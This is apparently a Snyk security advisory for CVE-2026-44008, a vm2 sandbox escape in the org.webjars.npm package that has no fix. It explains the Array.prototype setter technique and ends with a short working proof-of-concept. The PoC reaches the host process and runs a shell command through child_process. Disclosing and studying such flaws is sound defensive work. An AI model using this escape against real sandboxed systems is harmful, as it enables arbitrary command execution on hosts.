Arbitrary Code Injection Affecting org.webjars.npm:vm2 package, versions [0,]
Threat Intelligence
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Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Test your applications- Snyk IDSNYK-JAVA-ORGWEBJARSNPM-16624525
- published10 May 2026
- disclosed8 May 2026
- creditXmiliaH
Introduced: 8 May 2026
CVE-2026-44008 (opens in a new tab)How to fix?
There is no fixed version for org.webjars.npm:vm2.
Overview
org.webjars.npm:vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Arbitrary Code Injection despite the recently introduced neutralizeArraySpeciesBatch helper in lib/bridge.js. An attacker can execute arbitrary code by installing a setter on Array.prototype[N] and then triggering a host call with a sandbox array argument, causing the bridge to append its saved-state record through ordinary indexed assignment and hand the attacker a record containing a host-realm proxy. From that leaked proxy, attacker-controlled code can reach the host Function constructor and obtain the host process, escaping the sandbox and running commands in the host environment.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));